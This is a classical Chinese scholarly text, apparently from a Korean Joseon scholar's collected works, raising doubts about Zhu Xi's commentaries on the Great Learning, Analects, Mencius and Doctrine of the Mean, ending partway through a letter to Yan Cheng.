1권\/사서문변\n大學問疑[편집]\n大學錯簡。多因程子所定。而經一章。伊川朱子則物有本末下。繼以明明德。而明道則以康誥克明德明之。致知章。舊本在止於信下。而明道則繼於其本亂末治否下。朱子因伊川意。係於大畏民志下。而補亡以一百二十四字。朱子則克明德在傳首章。而伊川則在知至下。其他淇澳文王節南山康誥取證。與兩程改正。或同或異。庸學本禮記中選出。多經漢儒傅會。而程朱議亦終未歸一。後學之持疑。無恠其然。\n傳四章[편집]\n小註使民無訟。在我之事。本也。所以聽訟爲末。此說恐可疑。盖使民無訟。新民之事。末也。然所以事民無訟者。由其知本而先明其明德故也。夫本。固人之所當急務。末亦不可以略也。若如此說。則聖人徒事其本而不務其末。豈可乎哉。或問曰。己德旣明而民德自新。則得其本之明效也。己德已明者。卽得其本也。民德自新者。其效也末也。其釋本末之義。已明白周足矣。而其下所謂或不能然。至其亦末矣。是抑退之辭。何可與論於物有本末之義乎。尤翁所謂微末者。恐是不易之論。然則此說無乃出於記錄之誤耶。\n傳六章[편집]\n君子之所以爲善而去惡者。亦只看道理之當如是而已。豈可務外而爲人而然哉。今曰如見其肺肝。形於外。十目所視。十手所指。德潤身。心廣體胖等語。有若專歸重於外者然。是何也。爲善而求形於外。去惡而畏人之知。則其事雖公而意則私。且夫婦袵席之間。雖或有任情縱慾之時。豈眞有十目之視十手之指乎。一時之失。豈至於形於外而如見其肺肝乎。如是則至隱至幽之處。决知其他人所不及知。則其所以爲善去惡之意。不幾於或怠乎。\n傳七章[편집]\n有所之義。日者敢陳妄說。得蒙印可。而但語類諸說。多有的說。有所是病者。此則何以處之。雖曰有初晩之分。旣有初年之說。則亦當有晩年覺其前非之論。其門下諸人。亦必有與聞者。而集註或問之外無一可證者。且以我東言之。如退栗諸先生。一生沉潛於此書而無一言及此者。何也。豈後人格致之功有所未知而然歟。\n心不在焉之在。謂在於視聽及言耶。抑謂在腔子裏耶。\n傳八章[편집]\n五辟。是不過心不得其正之致。心已得其正矣。則又豈有五者之病乎。\n傳九章[편집]\n此章。本言上行下效。有不期然而然者。而至於如保赤子。反爲推之大者。是何也。妄意則此條似專指慈而言。未說到推於使衆者矣。慈者。人之罕有失者。故特擧此而言之。以明孝弟慈三者皆是出於自然而非勉强而爲之者也。必在識其端緖之發見而推而廣之。如以慈言之。則保赤子之心。誠求之者。是端也。自是而推致之於許多慈愛之道。乃所謂推廣也。惟其施於家者如是。故方有興仁興讓之效。如新民章之先務自新而民自興起而自新者。若以此章爲推於民者。則是卽猶有待於勸勉程督而後化。豈可乎哉。但或問則明以施於民者爲言。則不敢知也。\n傳十章[편집]\n得衆得國。失衆失國。有若眷眷於國之得失者。然君子豈愛天下之尊貴而强爲絜矩之道哉。\n文王條之言得失。集註亦言結上文兩節之意。則更無可論。而康誥大道之言得失則集註。只言因文王康誥之意而不言結其上文。且其分八節也。亦以此兩條。各爲一節。似非謂結上文之意。若如是說。則兩條之言得失者。不幾於無着落乎。康誥條之或問曰善則得之者。有德而有人之謂也。不善則失之者。悖入而悖出之謂也。大道條曰不得與人同好惡矣。集註所謂因上文引文王詩之意者。正是指其結上文之意云。則凡此數說。雖謂之結上文。亦恐不爲無妨矣。務在與民同好惡而不專其利。南山有臺以下三條及秦誓以下四條。是言好惡。先愼乎德以下五條及生財有大道以下。言不專其利。若以同好惡爲用人。則南山有臺以下三條。豈見其專屬於用人乎。而好人所惡註。何不言又因用人。以明能絜矩與不能絜矩也。\n대학문의[편집]\n論語問疑[편집]\n學而[편집]\n爲仁之本。○此仁字。恐是專言包四之仁。不然則弟當屬義。豈爲仁乎。\n忠信爲傳習之本。○爲人謀與朋友交。比之傳習。恐是差輕。且是以後事。恐不當謂之本。\n弟子入則孝。○弟子。恐是如小子之稱。若謂爲弟爲子。則謹而信以下。豈專屬於爲子者乎。\n賢賢易色章。○饒氏曰。賢賢居先者。以好善有誠。方能行下三事也。此恐是偶然耳。不必曲爲之說。若如此說。則上章夫子之言親仁學文。何在於孝悌謹信之後耶。\n十世可知章。○子張之問。恐是指十世之後治亂興亡。而孔子只以禮之損益答之。何也。且旣曰百世可知。則秦漢以後至于今數千餘年。其或損或益者。夫子亦已逆知其某代如此某時如彼耶。\n述而[편집]\n聖與仁吾豈敢章章下晁氏註云云。○果斯言也。是孔子內實自居於仁聖而非爲虛讓。且如虛讓之中。又爲微辭而自居於仁聖矣。聖人之心。豈若是之回互乎。所謂使聖與仁爲虛器而人終莫至云者。尤可疑。若是則聖人之心。便自以爲吾德已至而人不能加焉。吾而不居。孰能居之矣。豈可乎。\n泰伯[편집]\n實始翦商之意。可疑。當是之時。商道雖衰。尙有賢君代作。周雖强大。昌雖聖德。紂之惡不如是之甚。則王業决不當興矣。古公豈逆知其有紂而有此志乎。且立嫡。萬世之經也。立賢。一時之權也。必也嫡子不德。不可以承宗社之托。然後始乃不得已而行一時之權也。今泰伯之德。不下於王季。商道雖衰。未見其必亡。乃曰興王業者其在昌乎。舍泰伯而立王季。果何義歟。若曰天命之當然云爾。則夫所謂天命者。豈非人事之自然者而已乎。泰伯之當立而守經而不知權。文王之聖德而生於季而不生於長。安知非天命之不欲周之興王業乎。\n古公病將卒。令季歷讓國於泰伯。○此亦不可曉。若以泰伯之嫡子當立而爲此虛讓。以解人言。則中人以下之所羞爲之者也。若以爲實無廢嫡之志。則何爲而欲傳國及昌以翦商。使泰伯仲雍望風知指。逃荊蠻而爲夷狄而不之禁也。是未可知也。\n君子篤於親章註張子曰云云。○所謂先後於上一節。恐甚不當。未知何者當先。何者當後。此盖言行四德而無節文。則必有四者之弊。故欲人之有是德而必以節也。初無先此而後彼之義。豈意在於統二章而有此牽合之病耶。\n所貴乎道章註程子曰動容貌云云。○周旋中禮。言動不妄。言正。正由中出。言出歟。但動字。猶可說出字。甚不通邪。由中出。獨非出乎。\n修己爲政政之本。○君子豈以位言之耶。此何說及爲政也。\n以能問章註不必得爲在己失爲在人。○犯而不校。恐是孟子橫逆之義。豈以得失之未可知而然耶。\n托孤章註節操如是。可謂君子。○饒氏說亦近之。而與朱子有德而無才則不能爲用。何足爲君子之說。不同。可疑。\n立於禮章註可以固人肌膚之會筋骸之束。○人能行禮。則肌膚筋骸自當固矣。然此不過血氣體髮之堅强而已。節食服藥養生導氣者。亦能之。禮之功效。豈止於斯而已乎。\n有道則見。無道則隱。○孔孟之時。非不亂矣。轍環歷聘而不見其隱。豈聖賢之有當世責者不必然耶。\n不在其位章君大夫問而告則有。○伊川不答司馬公給事中之問。則恐亦有不可對者。且身在林下。不應召命。則雖問。亦恐不可對。\n衛靈公[편집]\n知德者鮮章註疑皆一時之言。○多學而識之。於上下文義。恐不相類。\n季氏[편집]\n邦君之妻章蔡氏語附見於衛靈公篇末云云。○此乃季氏篇末。恐失照檢。且因南子而發者。恐鑿。\n陽貨[편집]\n欲見孔子章。○陽貨乃逆臣也。孔子雖不受其饋。可也。彼乃季氏家臣而僭稱大夫。則何必待之以大夫之禮而往拜之乎。\n揚氏曰揚雄云云。○揚氏說固正而雄說活看。亦不害理。盖南子淫亂而陽虎惡逆。則見所不當見而敬所不當敬矣。其身不可謂詘乎。身雖詘矣而道合當詘。則道斯伸而其身亦非眞詘矣。旣曰道伸。則身之詘伸。非所論也。胡氏所謂身道二物之說。恐過。\n公山佛肹。與陽貨無異。而夫子之或欲往而或不往者。何也。\n吾其爲東周乎。○公山雖用夫子。乃季氏家臣。則何以興東周之治乎。豈有據叛邑而興王業者乎。\n子張問仁章。○孔子嘗言先難後獲。則如此章及歸仁無怨之屬。必言其效。何也。\n孺悲欲見章小註南軒語使將命者問之。○此恐使孺悲聞之。若將命者則豈待其歌而後知其非疾乎。\n微子[편집]\n亞飯干章小註齊氏註孔子正樂而去其一。○孔子時不在位。則朝廷之禮。何以去之耶。見其昔之僭云者。尤鑿。此恐是魯僭用四飯之禮而不言一飯者。一飯之官。無去亂之事故耳。聖人功化雖大。亦豈无一人不能化者耶。\n子張[편집]\n先傳後倦章註了此便是徹上徹下之道。○了字。恐當屬上句。而胡氏曰了此云云。如是則了字。當爲了當之義。未知爲了當何事耶。\n不可分本末爲兩端事。○不可分本末爲兩段。理則可。事則有本有末。非兩端而何。\n泰伯[편집]\n狂而不直。○小註以爲狂狷之狂而例之以無知無能。則恐當爲狂妄之狂。\n子罕[편집]\n絶四章意私意也。○私意。恐是有意爲之者也。非惡念之謂也。若謂惡念。則聖人之無惡念。豈待於言而知之乎。\n自衛返魯章。○旣不在其位。則朝廟之樂。何以正之耶。豈師摯學於孔子而成孔子之志乎。雅頌得所。是刪詩之事。與樂正爲一事耶。\n未見好德章孔子居衛。○觀與夫人同車則前此而靈公之不德。可知。何不見幾而作。以取次乘之辱。且絶糧之行。何不在同車之醜而在於問陣乎。\n鄕黨[편집]\n入公門章位君之虛位。○上章之君未視朝。則以下文言君在而知之也。此只言攝齊升堂而不別言君在。且侃侃誾誾與勃如躩如。氣像不侔。然則此必謂之虛位。何也。若曰言過則虛可知矣云。則尤未詳。雖君在。豈無過去時乎。\n晁氏曰使擯執圭云云。○馮饒兩說。甚明白。晁說極未安。未知集註何以採入耶。\n小註獨居云云。○獨居豈有言乎。\n君賜食章小註夫子已孤云云。○禮。嘗而拜賜則雖有親。恐當先嘗。\n廐焚章小註邢吳兩說家廐非國廐云云。○記者之意。只見聖人貴人賤畜之意。故只言廐焚而不言家國矣。後人之必以爲家爲國者。已涉支離矣。且邢氏所謂以退朝知之云者。以此爲國廐之證則可。爲家廐之證則誤矣。吳氏所謂路馬云云。恐亦未安。\n居不容章小註奉祭祀見賓客之容貌威儀云云。○此恐失容字之義。馮氏無一事於容儀云者。恐得之。\n先進[편집]\n問事鬼神章註幽明始終初無二理。○盡誠敬於事人。則必盡誠敬於事鬼。知氣聚而生。則知氣散而死。此無二理之義。\n小註輔氏一而二云云。○恐未安。氣二而理一者。物皆然矣。何必於死生人鬼乎。事人與事鬼。雖二。而誠敬則一。死與生雖二。而氣之聚散則一也。\n子路剛强。有不得其死之理。○行行有殺伐之氣。恐亦以其氣象而言。\n小註饒氏曰樂字終難說云云。○此恐未安。行行雖不足於中和。而剛勇之氣。凜然有不可犯。則非可樂乎。朱子云云。亦恐未必然。\n顔淵[편집]\n問仁章小註覺軒蔡氏曰聖性之也。謂哲人止同歸云云。○此說恐可疑。哲人果是性之之聖。則豈有誠之之工乎。且其意以爲哲人志士。雖爲克念戰兢之別。而及其成功則同歸於一致矣。此非但文理艱晦。於動箴之義。全不緊要矣。愚意則哲人志士。雖有大小生熟之別。要皆是顔曾以下人。所謂聖賢同歸者。人能造次克念而戰兢自持。則習與性成。與聖賢而同歸矣。\n仲弓爲季氏宰。○季氏國賊也。夫子胡不責其不當仕而只告以爲政之道耶。如是則後世之托身權貴以圖進取者。雖其不免於固必之過。而在他人。以衆人望人之道。不必深責之耶。\n子路[편집]\n於言毋所苟而已矣。○言毋所苟。則名之無所苟可知而行亦可以不苟。故不及名行而只言言無所苟。\n子適衛章註寄以三事。○謂之庶富敎者。恐是。\n憲問[편집]\n賢者辟世章小註胡雲峰語天下爲大邦國爲小云云。○此恐失程子之意。\n曰今之成人云云。○胡氏說恐長。若是夫子之說。則是徒以其已能者而瀆告焉。豈所以進之日新耶。不然則是歎今人之安於小成而以擎子路耶。\n晨門荷蕢之徒。雖不知聖人心。而其出處則合於邦無道隱之義。人之不及聖人者。只當學晨門荷蕢耶。\n性中只有仁義禮智云云。○窃意性者。物之則而衆理之摠名。就其中分而言之。有仁義禮智之名。卽此四字而萬善足焉。則性中曷嘗無孝弟乎。苟無孝弟。凡人之萬善。皆非性分。今且以萬善各還萬善。所謂仁義禮智。不幾近於無星之秤乎。\n巧言令色鮮矣仁云云。○犯上者鮮。旣有上章語法。則於此而獨歸之聖人不迫之辭。恐未安。夫聖人之辭。儘不迫切。此等邪正之大分。恐不當若是緩也。且詞欲巧。令儀令色。古來文字。自有可據。恐不必偏歸之致飾悅人之類。\n知巧言令色之非仁則知仁。○致飾悅人則徇人欲而忘本。實其非仁。不難知矣。然仁固未易知也。程子之意。果安在耶。\n忠信爲傳習之本。○此言忠信。只就爲人謀與朋友而言。則恐不足爲傳習之本。且曾子之意。只以三者爲人道之急務而已。就其中分析本末。恐非曾子本意。\n敬者主一無適之謂。○窃意主一無適。恐不足以盡敬之義。而學之無可依據。且不先之以嚴恭寅畏而徒事乎主一無適。則不幾於耽看錯應之歸乎。妄意能敬者固主一無適。而主一無適。不足以言敬也。\n未及爲政云云。○節用使民。非爲政而何。\n五者反復相因云云。○五者廢其一。非所以爲政也。若反復相因。則終未見其確然不可易。次第緩急。隨事異施。恐不必若是繳繞。\n不習其事。故危而不安。○學固有兼知行而言者。謂之不習其事。則此所謂學。卽專以行言耶。行而不求諸心。無知妄作。其過也恐不止於昏罔。思而不習其事。則無所成而已。諒不至於爲惡。謂之危殆。不亦過乎。妄意此學字。解以博學之學。恐甚平順。而集註之必如是釋之。何也。\n十世可知云云。○子張之意。在於前知。而夫子敎以因往而推來。禮之損益。言其大也。凡事莫不然也。然則秦漢以後治亂存亡。固聖人之所預知耶。不然則百世可知者。果何事耶。若綱常之當因。制度之當革。非所以前知而亦無待於聖人矣。於子張發問之意。實無所當也。\n禘自旣灌而往云云。○魯祭非禮。非夫子之所欲觀。宜不待於旣灌之後。所謂誠意懈怠。失禮之中又失禮焉者。恐近於從而爲之說。若爲誠意之懈。則凡祭皆然。何獨於禘也。况徒歎其懈怠不欲觀。則不王不禘之義。不幾於晦乎。且誠意之懈容。不免於輟俎之際。灌者。祭之始也。旣灌而已懈。則旣灌之前。豈有誠意之可觀者耶。\n我事君盡禮。小人以爲諂云云。○此等辭氣。極其噴薄。不爲此。未必爲道大德宏。恐不足以擬議於聖人。且拜上之禮。未免於違衆。則謂之諂者。時俗之通見。不必遽責之以小人。盖聖人之言。固其極天理之正。而此等無甚異於人者。恐不必曲加贊揚。卽疏節而語大體也。\n哀而不傷。○寤寐反側。謂之憂則可。謂之哀。無乃太過乎。且求淑女而不得。過哀而至於傷。苟非病心之人。宜不至此。何以見其性情之正耶。\n以君子許子賤云云。○此恐不必連上章說。盖君子亦應有層節。子賤之爲君子。豈遽至於不器耶。\n雍也可使南面。○有人君之度。語恐不倫。臨民從政。不可謂之南面耶。\n可也簡云云。○妄意夫子所謂簡。無敬而徒簡。斥之也。非許之也。卽仲弓所謂太簡也。仲弓卽述夫子之言而發明其意也。不然則可之爲僅可。當日語法之常。以仲弓之明。寧未喩夫子之意耶。\n伯牛有疾云云。○伯牛家。以君禮尊孔子。有何所考耶。不然則此所謂牖。安知非北牖耶。伯牛姑不死。則宜不令其家待孔子以僭禮也。\n富而可求章註有命及楊氏曰在天云云。○君子之不求富貴。義不可也。豈以其有命與在天耶。苟如是。求富之心。未嘗亡也。特拘於天與命而不敢爲耳。君子之用心。固如是乎。况財利殖貨。攀援當路。求富貴者。未嘗不得。則所謂命與天者。固無定分。而執鞭賤役。决知其不徒取辱。則此似是有意而發也。可求與不可求。惟决於義。恐不必歸之於命與天也。\n在齊聞韶。三月不知肉味。程子曰。三月。或是音字之誤。似當聞韶音不知肉味。○三月。是天道小變之期。不當如是久而忘味。無或左傳云三豕爲己亥誤耶。\n釣而不網云云。○苟不用數罟。則絶流而漁。未必盡物取之也。殺物一也。戈而射宿。何害其出其不意也。\n泰伯至德云云。○太王泰伯事。世已遠矣。不可得而詳矣。然以集註考之。有三可疑。夫詩所謂實是翦商者。盖周德始盛。實爲興王之漸云爾。今云太王因有翦商之志。則是跋扈之將心也。此其可疑者一也。泰伯有如此之德。輔之以仲雍王季之賢。繼之以文王之聖。以左右公室。則周之德。不患不盛。太王之必欲舍長立季。終使二人望風逃竄。毁形辱身。父子離散。兄弟不相保。人生之酷禍。倫理之極變。古人之行一不義殺一不辜而得天下不爲者。豈若是哉。此其可疑者二也。太王之時。周德之所以盛。宜不過謹守侯度。善治其家國而已。泰伯之不從者何事。季歷之從之者亦何事。夫子之稱泰伯以讓天下。亦何故也。當其時。紂未及立而先王之餘烈未艾。爲藩臣者苟有覬覦之心。是稱兵問鼎之計也。太王豈爲是哉。此其可疑者三也。盖周之代商。天與人歸。不得已而受之。孟子之所發揮者備矣。若實以左馬之說。則太王以來經營揣摩。已非一朝一夕之故矣。安得幷美於成湯而一視於唐虞之禪讓乎。\n三分天下有其二云云。○紂雖暴矣。尙莅帝位而朝諸侯。則畔商而歸周。不能不謂之叛臣。文王必曉以君臣大義。使之盡心無貳。終不聽則聲罪致討。斷不可已也。何可替受其朝覲訟獄而肆然爲己有哉。且朝覲訟獄。不歸於紂。以紂之强戾。豈可晏然於封疆之日蹙而甘心於文王之率而事之耶。此事勢之必不然也。\n子絶四云云。○無私意。豈足以語聖人。且不遠復。顔氏之所已能。必固而成於我。何足爲夫子慮哉。恐不足以許之以知聖人也。且四者。心術之微而人所不及知者。詳視默識。亦恐說不去也。\n屢空。○不動心於貧窶。季次原憲之所已能。何足爲顔子稱哉。恐不如歸之闕誤之爲安也。\n子貢之貨殖。非若後人之豐財云云。○子貢之貨殖。謂之少時事則甚當。謂異於後人之豐財。則恐不必曲爲之諱也。\n三子欲得國而治之。故夫子不取云云。○夫子之發問。在於知爾。則三子之對。安得不如此也。觀夫子答曾晳。未嘗不許其能而取其才也。且夫子之志。在於安老而懷少。則欲得國而治之。顧何傷乎。特其才德之止於斯而不足以語博施濟衆之化。則所以無喟然之與也。\n浴乎沂云云。○浴沂之事。固樂矣。亦君子之所時有也。雖然。擧平生之志而在於此而已。則點也之狂。亦太甚矣。夫子之與之。果奚取焉。孔子之志。在於老者安之。少者懷之。朋友信之。皆是實事。便是堯舜氣象。今點也無救世之心。少務實之意。遺棄事物而遊心乎風詠之樂。則狂者之所以志大而略於事也。宜夫子之痛加裁抑而反歎息而深許之。何也。且因此而或謂之胸次與天地同流。或謂之與夫子之志同。或謂之堯舜氣象。而反斥三子以規矩於事爲。則尤所未曉。\n盍徹云云。○有子之對。意則善矣。雖然。無或乎哀公之以爲迂也。哀公之用不足也。以縱慾侈放。用度無節也。苟不先探其本劈破病根而遽勸以徹。則費出無經而奢濫之政自如矣。君孰與不足者。何足以解哀公之惑哉。\n季康子云云。○凡君問皆稱孔子對曰者。例固然矣。康子之問。亦用此例。無乃不稱乎。當時三家之僭。卽此可見。而記者之習於聞見。苟加僞尊。殊異乎春秋之筆矣。\n苟子不欲云云。○子不貪欲者。聖人辭氣。恐不當若是迫切也。\n仲弓爲季氏宰云云。○季氏。魯之僭賊也。以仲弓子路之賢且勇而甘心服事。不知食其食之爲不義也。實未可曉。且仕止。士之大節也。服事僭賊。其非薄物細故也明矣。宜夫子之嚴辭而斥之。反爲之商確其政術。慨惜之意。畧不槩見。謂之以衆人望人。則二子之賢。宜非衆人而固夫子之所愛重者。一言誨責。豈不能釋然受敎乎。且縱不能禁之。答其問政。若將以助成之。所以待二子者無乃太薄乎。\n正名云云。○待子爲政者。將任孔子以政也。旣從其政則爲其臣矣。孔子所謂正名。宜在從政之後。則委身於無父之君。已不啻尋尺之枉矣。懷廢立之心而姑且臣事。則是二心也。旣爲之臣而欲行伊霍之事。則非貴戚之卿而賓主之勢不侔矣。然則胡氏所謂告于天王。請于方伯者。未知如之何而可也。\n善而莫之違云云。○言雖善也。樂其莫予違。則未必不爲喪邦之漸。唐虞之吁咈可見。謂之不亦善者。恐非所以告君也。\n正而不譎云云。○此章文法。對擧互言。若君子小人之分。記者之意。恐不可誣也。集註彼善於此者。恐是不得已而逶迤其說也。均是假仁也。均是不正也。容或有彼善於此者。恐不必發其隱而垂敎於人矣。况分開互對。判然若陰陽黑白之分而或不免爲覇者之口實乎。\n利澤及人。有仁者之功云云。○子貢之言管仲之未仁者。言其人也。非言其功也。夫子答之以功。不幾於問東答西乎。且以功言之。力服心服之別。不啻天壤。雖有利澤之及人。安得爲仁者之功乎。\n桓公兄也云云。○桓公之爲兄。旣無左驗。而莊子云桓公小白殺兄入嫂而管仲爲臣。此必有所據矣。且旣非嫡子。則均是庶也。爭國之不義。何必偏歸之子糾而斷之以當死耶。且以管仲之不死爲是。則召忽之死。卽是溝瀆之諒也。扶抑之太偏。尤所未曉。\n左氏記孔子之言云云。○左氏此記。恐有說焉。當此之時。欲上告天子而天子無發號之威。欲下告方伯而方伯無桓文之覇。其勢不得不先發也。旣將先發。兵力之衆寡。何可不量哉。力之所不及。義之所不出也。若曰勝齊孔子之餘事云。則戰而不勝。亦可以正天下而復興周室乎。惟知弑逆之當討而不恤吾國之先亡。則臨事而懼。好謀而成。夫子愼戰之意。果安在哉。\n荷蕢云云。○荷蕢者雖不識孔子。却知出處之義。觀其言。非無意於世者。只是無道則隱也。非若荷篠,接輿之絶物而逃世。則實爲行藏之正法。聖人所以遯世而無悶。未嘗不如是也。斥之以果於忘世。無乃太過乎。且此等出處。苟無所難。人不知而不慍。何以爲君子。不見知而不悔。何以謂唯聖者能之乎。\n疾沒世而名不稱焉。○此雖有楊氏之說。終恐未安。君子之爲善。爲吾所當爲而已。身後之名。本不當經於心也。人固有隱德自修。不幸立慬於窮山絶海之間者。若以此而偸生苟免。欲將以有爲也云爾。則聖人之訓。不幾於貽害世敎乎。\n有敎無類。○此句上下。疑有闕文。恐不必强解。且堯舜之際。亦有四匈。邵子亦有陽六分陰四分之語。惡之類。宜無終絶之理。博施濟衆。堯舜猶以爲病。則聖人恐不應爲此無當之大言也。\n舍曰欲之。○此云欲之。恐是泛言。集註言貪其利者。可疑。\n三友三樂。○集註。以兩章損益。爲正相反。而俱未見其確然吻合。且夫子之意。只是歷擧三事以示人之損益而已。恐不在於曲爲對待也。\n隱居而求其志。○求志之義。未詳。\n公山佛肹云云。○夫子嘗曰。不逆詐不億不信。抑亦先覺者是賢乎。夫公山佛肹據邑叛主。其不足與有爲。固已明矣。今因其召而欲往。是亦爲先覺乎。若曰知其必不能改而終不往。則尤恐未安。凡人之始欲爲而終不爲者。皆理有未明而義有未精。必待審處而後决其可否耳。聖人之知幾明决。何審處之可待乎。公山佛肹之惡。宜無增减於先後。而夫子之去就。乃有始終之不同。何也。\n吾其爲東周乎。○觀此言。則勸諸侯行王道。固不待孟子之時矣。惡在乎春秋尊周之義耶。且天下雖無不可有爲之人。以叛臣而興周道。恐是必無之理也。\n前後文體。大不相似。○數章文體。固有不似。而季氏一篇。此等文體不啻多矣。集註之意。無乃爲公山佛肹之事爲可疑而引此說耶。\n年四十而見惡。○夫子嘗曰。鄕人之善者好之。不善者惡之。見惡於人。庸何傷乎。苟不欲見惡。闇然媚於世而已。是以蘇氏之說。不得已而歸之有爲而言。聖人有爲之言。容或有之。亦其渾而無迹。泛應曲當。豈有此等一偏之言。爲鄕原之口實乎。\n去之以存宗祀。○微子之去。以言不用而義不合也。修其禮物作賓王家。在周則崇報之厚矣。在殷則零替之酷矣。其異於不在焉者幾希。微子之計。豈在是哉。且有武庚在焉。則微子豈逆知其繼以淪喪而封典之及於己也。史氏以終封於宋而遂有持祭器造軍門之說。夫紂未亡則宗國重器。非微子之所當擅出。紂已死。則宮室典籍。自有典守。宜其謹藏之。以俟周命。非微子之所當獨持而籍手者也。且肉袒面縛。膝行把茅。降臣之乞憐也。史氏之不足信如是。今乃以持祭器云云而遂謂微子之去將以存宗祀。恐未安。\n佯狂而受辱。○此恐亦史氏之失傳。旣爲之奴。則安以受之而已。被髮以毁其體。顚妄而壞其行。義在自廢則過矣。計在避禍則苟矣。箕子豈爲是哉。\n齊人歸女樂云云。○桓子之受樂不朝。非定公之過也。君上之禮貌不衰。則桓子之怠傲。何足以决其去就哉。夫子旣爲司冦而攝行相事。則季氏有罪。擧而正之。可也。强不可制則隱忍而待之。亦可矣。且怠傲棄禮。在季氏爲竊鉤之罪。宜不足恤也。夫子之行。若是太遽。其義安在。夫子爲政。必先正名。而今此行止。惟係季氏之向背而無與於君上之意。則是定公之徒擁虛器。依舊是寄生之君。惡在其正名也。\n道之不行已知之。○以聖人之至誠前知。於己之窮通大節。天下之治亂大勢。宜有所心通而默識。如是則道之不行。固其知之。旣已知之。則皇皇載質。轍環天下。周公之不夢。何在於旣衰之後。歸歟之發歎。何待於在陳之時耶。\n仲雍居吳。斷髮文身云云。○子之於父。大杖不受。申生伯奇之所以傷孝。豈非以成其父之過耶。仲雍旣不從翦商。何不爲夷齊叩馬之諫。且諫不聽。則無所逃而俟命可也。毁形辱身。甘爲戎狄之俗。使太王君臣父子之間。俱失其道。何以謂之廢中權耶。盖後世華夷革命之際。布衣草澤之士或有不肯薙髮至死不變者。則宜不責以傷勇矣。然則夷之不可變。形之不可毁。豈非有甚於殺身乎。仲雍之不幸。千載之下。猶足傷心。太王之時。天下之亂。不至於塗炭。二子之賢。猶足以克家。而使之逃竄淪陷。至於此極而曾不少顧。人理之慘毒。殆吉甫晉獻之所不忍爲。而聖人之論。不以太王爲非而許仲雍以中權。何也。\n聖人俄頃之助云云。○伶人之逾河滔海。記時勢之益衰而賢者知所以潔身而已。張子必歸之聖人之功化。則恐近附會。如仲弓子路之徒。親炙聖門而猶不免從仕於三桓之門。豈以俄頃之正樂而伶人之觀感。若是之深乎。\n大故謂惡逆。○非惡逆則故舊無相絶之義。可見。\n논어문의[편집]\n孟子問疑[편집]\n尤翁謂浩然章所謂心旣對氣而言則當以理看。然亦不可全然離氣看。此恐可疑。旣以理看則何可以不離氣也。旣不可離氣。則惡在其以理看也。盖理者理也非氣也。氣者氣也非理也。理無形而氣有形。理氣之別。天地懸隔。有理必有氣而言理則曰理而已。有氣必有理而言氣則曰氣而已。今曰當以理看而亦不可離氣看。則是旣爲理而又爲氣。旣爲無形而又爲有形。不惟心之體段無以測知。殆恐不免於理氣一物之病矣。窃以爲心者五臟之一。有動有迹。只是氣而已而理在其中。非無理也而語其體則氣也。雖有理也而不可認理而爲心。無遺理獨存之氣而氣自氣也。無懸空獨立之理而理自理也。若曰氣固氣也而亦當以理看。理固理也而不可離氣看云。則其可成說乎。盖合而言之。器亦道道亦器。分而言之。形而上形而下。器亦道道亦器而道未嘗爲器。器未嘗爲道。形而上形而下而上未嘗離下。下未嘗離上。守上下之說而謂判然各立者。固非矣。執道器之論而謂道可以爲器而器可以爲道。則其失又甚矣。然則心可以理看而理不可離氣看歟。或曰。心者氣而已則氣者不齊。然則心有善惡否。曰。荀子曰。志帥心君。此言最妙。天降生民。聰明睿智以爲之君。聰明睿智。固異於衆人。而亦何嘗非人乎。人生氣禀。淸明純粹以爲之心。淸明純粹。固異於血氣。而亦何嘗非氣乎。君者天下之君也。心者一身之君也。其理一也。故以心對氣而謂之本然純善之心。則是矣。見其異於氣而遂謂之當以理看。則是何以異於見聰明睿智之異於人而遂謂之非人也天也。\n先問養氣。此恐當以集註爲正。大學之說。言欲誠正者。必先格致。故其說自當如此。此無欲養氣者先知言之語而直以知言在後。則惡知其知言之當先而養氣之當後乎。尤翁所謂由此覇王云云者。此是當初發問之語。工夫之先後。初不相干。則何必牽合於此耶。塞于天地之間云云。浩然之氣。天人一也。本自充塞。人能善養。以復其初。則一氣流行。充滿無欠。非天地之間本無此氣。直待人之善養然後只其一身之氣。能充塞於天地矣。\n尤翁謂天地之外亦無不包云云。孟子之意。只言充塞無間而已。今曰不但天地之間云。則恐涉支蔓。且天地之外云者。尤未安。天地豈有外乎。\n周公弟也。管叔兄也。若使周公兄而管叔弟。則當知其將叛而不使之耶。\n맹자문의[편집]\n中庸問疑[편집]\n無聲無臭。道之隱也。形而上者也。不見不聞。神之微也。形而下者也。今曰不見不聞隱也。則是認神爲道。神之於道。果若是其無別乎。盖有聲有色而爲萬物之形者。五氣之粗濁也。不見不聞而爲萬物之主者。五氣之精英也。有聲有色而不加粗。不見不聞而不加精。費而天地不能載。隱而鬼神不得窺者。此道之所以無聲無臭而爲品彙之根柢也。今曰理氣二物。元不相離。卽其氣之無形無聲而理之微妙在焉。故氣之无形與聲。便不妨謂之理之無形與聲云。或說如此。則窃所未曉。氣無形聲。自氣无形聲。理無形聲。自理無形聲。理氣之懸。判若天壤。如是滾合爲說。不幾於混圇鶻突而有害於道器之分耶。且以理氣不相離而謂之氣然理然。則有形有聲者。可謂氣有形聲而理亦有形聲耶。\n言體之微則謂之隱。言用之廣則謂之費。其爲理則一也。今以鬼神體物如在謂之費。則是祭祀之鬼神。亦理也。郊而格廟而享。理之有作用。甚矣。其可乎。\n若曰。鬼神合理氣而言。而所謂隱者擧其理一邊而言云。則尤切惑焉。若如是說。則雖謂之飛鳶躍魚隱也。亦可也。何者。鳶魚亦合理氣故也。\n且以不見不聞爲隱。則陰靜陽動。固未嘗有形有聲。則是陰陽亦可謂之隱乎。陰陽旣不得爲理。則鬼神之獨爲隱。何也。\n集註。以陰陽合散。釋體物不遺。而又曰體物費也。則不幾於以陰陽爲理乎。 忠恕違道不遠。註曰。道卽其不遠人者。是也。忠恕卽不遠人之道也。今言違道不遠。則忠恕獨非道歟。東陽許氏所謂可至於中庸之道。故曰違道不遠者。似以此道字。爲聖人天地之道。此則恐未然。何者。聖人天地之道。實是高遠難及。所謂道不遠人者。說不去故也。\n生知章註。以其等云云。此篇言三德。只見其分而不見其等。大舜顔淵子路之事。恐只其所擧。偶有高下。非三德眞有其等而然。然則集註之意。未知何據。\n言前定云云。行與事无異。而道則又言行之總稱。如是重疊言之。何也。\n寄書杭士嚴鐵橋誠。又問庸義。[편집]\n朱先生嘗論解經之法曰。寧疎勿密。寧拙無巧。窃謂此兩言者。儘註家之大訓。講師之指南也。後之讀書者宜服膺而勿失。惟見先生手筆集註。或若有偏於密傷於巧者。則豈後人之讀之未精而信之不篤耶。抑先生之註釋多門。眞有未及照檢者耶。我東尊尙朱子。路門醇正。不若中國之寬轉達觀。或不免於汎濫駁雜也。盖氣之偏。故識之局。識之局。故守之固。守之固。故幷與其不必守者而曲護而强